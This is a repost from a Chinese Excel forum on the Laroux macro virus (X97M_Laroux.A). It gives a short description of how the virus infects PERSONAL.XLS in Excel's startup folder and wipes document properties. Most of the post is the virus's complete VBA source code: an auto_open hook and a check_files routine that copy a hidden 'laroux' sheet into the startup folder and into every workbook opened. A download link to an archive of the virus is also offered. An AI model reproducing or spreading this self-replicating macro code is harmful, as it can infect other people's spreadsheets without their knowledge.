[轉貼] Laroux 巨集病毒檔原型 暫存 (其延伸變種病毒為BINV.XLS/StartUp/RESULTS)

HUNGCHILIN

2012/6/8日以後EXCEL保護保密技巧帖不再設定閱讀權限

病毒名稱：X97M_Laroux.A ，別名：Laroux, Laroux.A, XM_Laroux 。病毒特點：aroux是第一個為MS Excel編寫的巨集病毒。當被該病毒感染的文檔打開時，宏Check_ files被喚醒，並且PERSONAL.XLS被感染。其他檔也會在活動時被感染，檔屬性部分的標題、主題、作者、關鍵字和內容被病毒清除。該病毒不是破壞性的，它的宏也不對用戶隱藏，可以用Excel的工具--巨集選項找到它。 除了複製，該病毒無重大意義。它感染Excel工作表，創建一個名為Personal的隱藏工作表，被感染的檔包含模組laroux，被感染的工作表包含宏“auto_open”和“check_files”.
　　該病毒會安裝一個被感染文檔到檔夾XLSTART，任何在檔夾XLSTART中的Excel文檔在啟動Excel時被裝載病毒
。 如果XLSTART路徑下已存在名為PERSONAL.XLS的檔，病毒就不會對系統進行感染。BINV.XLS

病毒原始碼

Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub

Laroux病毒.rar (6.57 KB)

下載次數: 0

2012-2-11 01:13